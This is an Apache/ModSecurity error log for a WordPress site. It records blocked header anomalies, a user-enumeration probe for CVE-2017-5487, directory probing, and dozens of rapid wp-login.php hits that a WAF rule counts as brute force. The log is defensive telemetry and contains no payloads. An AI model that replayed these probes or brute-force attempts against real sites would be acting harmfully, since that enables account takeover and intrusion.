[Fri Feb 27 02:51:10.257363 2026] [:error] [pid 18831:tid 18930] [client 43.167.239.66:53704] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaCWHv5KHTHUIuWRG2bgRgAAAFE"]
[Fri Feb 27 04:23:16.098145 2026] [:error] [pid 21329:tid 21391] [client 124.156.179.141:44700] [client 124.156.179.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaCrtJvQWnde-MjcQ1E6bgAAAUg"]
[Fri Feb 27 04:29:53.178625 2026] [autoindex:error] [pid 5365:tid 5385] [client 185.198.240.137:44613] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 04:29:53.519014 2026] [autoindex:error] [pid 5365:tid 5371] [client 185.198.240.137:44613] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 04:29:54.138795 2026] [autoindex:error] [pid 5365:tid 5385] [client 173.239.214.7:61677] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 04:29:54.428900 2026] [autoindex:error] [pid 5365:tid 5385] [client 173.239.214.7:61677] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 04:34:00.234767 2026] [:error] [pid 42563:tid 42579] [client 141.98.11.209:65454] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuOHKL5BclZy73IRGtuwAAAck"]
[Fri Feb 27 04:34:18.074494 2026] [:error] [pid 4081:tid 4096] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaCuSg55mnr35z8h7t3b5wAAAM0"], referer: https://www.google.com/search?q=wordpress
[Fri Feb 27 04:34:22.617278 2026] [:error] [pid 4081:tid 4083] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuTg55mnr35z8h7t3b9wAAAMA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:26.819818 2026] [:error] [pid 4081:tid 4101] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuUg55mnr35z8h7t3cDwAAANI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:29.489986 2026] [:error] [pid 4081:tid 4104] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuVQ55mnr35z8h7t3cEgAAANU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:33.637797 2026] [:error] [pid 4081:tid 4088] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuWQ55mnr35z8h7t3cHgAAAMU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:35.320082 2026] [:error] [pid 4081:tid 4099] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuWw55mnr35z8h7t3cIAAAANA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:38.636692 2026] [:error] [pid 4081:tid 4101] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuXg55mnr35z8h7t3cJAAAANI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:40.297143 2026] [:error] [pid 4081:tid 4090] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuYA55mnr35z8h7t3cJQAAAMc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:43.676975 2026] [:error] [pid 4081:tid 4100] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuYw55mnr35z8h7t3cJwAAANE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:45.485045 2026] [:error] [pid 4081:tid 4107] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuZQ55mnr35z8h7t3cKAAAANg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:49.071531 2026] [:error] [pid 4081:tid 4084] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuaQ55mnr35z8h7t3cLAAAAME"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:50.720195 2026] [:error] [pid 4081:tid 4103] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuag55mnr35z8h7t3cLgAAANQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:55.946488 2026] [:error] [pid 4081:tid 4098] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCubw55mnr35z8h7t3cOQAAAM8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:34:57.844814 2026] [:error] [pid 4081:tid 4096] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCucQ55mnr35z8h7t3cQQAAAM0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:02.377602 2026] [:error] [pid 4081:tid 4085] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCudg55mnr35z8h7t3cWgAAAMI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:04.594883 2026] [:error] [pid 4081:tid 4087] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCueA55mnr35z8h7t3caQAAAMQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:10.277773 2026] [:error] [pid 4081:tid 4083] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCufg55mnr35z8h7t3cegAAAMA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:11.721836 2026] [:error] [pid 4081:tid 4099] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCufw55mnr35z8h7t3cgAAAANA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:14.632728 2026] [:error] [pid 4081:tid 4101] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCugg55mnr35z8h7t3cjQAAANI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:16.067165 2026] [:error] [pid 4081:tid 4093] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuhA55mnr35z8h7t3clAAAAMo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:19.919594 2026] [:error] [pid 4081:tid 4104] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuhw55mnr35z8h7t3cpAAAANU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:21.398659 2026] [:error] [pid 4081:tid 4101] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuiQ55mnr35z8h7t3cqgAAANI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:24.521588 2026] [:error] [pid 4081:tid 4087] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCujA55mnr35z8h7t3ctgAAAMQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:26.023641 2026] [:error] [pid 4081:tid 4089] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCujg55mnr35z8h7t3ctwAAAMY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:29.636401 2026] [:error] [pid 4081:tid 4097] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCukQ55mnr35z8h7t3cxgAAAM4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:31.173709 2026] [:error] [pid 4081:tid 4098] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCukw55mnr35z8h7t3cywAAAM8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:34.620907 2026] [:error] [pid 4081:tid 4103] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCulg55mnr35z8h7t3c1gAAANQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:36.491743 2026] [:error] [pid 4081:tid 4083] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCumA55mnr35z8h7t3c2gAAAMA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:40.442142 2026] [:error] [pid 4081:tid 4099] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCunA55mnr35z8h7t3c8AAAANA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:42.778100 2026] [:error] [pid 4081:tid 4092] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCung55mnr35z8h7t3c8QAAAMk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:46.863492 2026] [:error] [pid 4081:tid 4095] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuog55mnr35z8h7t3c8wAAAMw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:48.426477 2026] [:error] [pid 4081:tid 4086] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCupA55mnr35z8h7t3c9QAAAMM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:51.760136 2026] [:error] [pid 4081:tid 4102] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCupw55mnr35z8h7t3c_QAAANM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:53.292789 2026] [:error] [pid 4081:tid 4106] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuqQ55mnr35z8h7t3dAQAAANc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:56.480326 2026] [:error] [pid 4081:tid 4088] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCurA55mnr35z8h7t3dCQAAAMU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:35:57.995493 2026] [:error] [pid 4081:tid 4097] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCurQ55mnr35z8h7t3dDAAAAM4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:01.480142 2026] [:error] [pid 4081:tid 4090] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCusQ55mnr35z8h7t3dDgAAAMc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:03.499577 2026] [:error] [pid 4081:tid 4086] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCusw55mnr35z8h7t3dDwAAAMM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:06.957255 2026] [:error] [pid 4081:tid 4100] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCutg55mnr35z8h7t3dEQAAANE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:09.325311 2026] [:error] [pid 4081:tid 4103] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuuQ55mnr35z8h7t3dFgAAANQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:13.157347 2026] [:error] [pid 4081:tid 4089] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuvQ55mnr35z8h7t3dJAAAAMY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:14.807946 2026] [:error] [pid 4081:tid 4098] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuvg55mnr35z8h7t3dJQAAAM8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:18.355525 2026] [:error] [pid 4081:tid 4104] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuwg55mnr35z8h7t3dJwAAANU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:19.716209 2026] [:error] [pid 4081:tid 4087] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuww55mnr35z8h7t3dKAAAAMQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:22.759805 2026] [:error] [pid 4081:tid 4105] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuxg55mnr35z8h7t3dKwAAANY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:36:24.560447 2026] [:error] [pid 4081:tid 4093] [client 141.98.11.209:57517] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCuyA55mnr35z8h7t3dLQAAAMo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
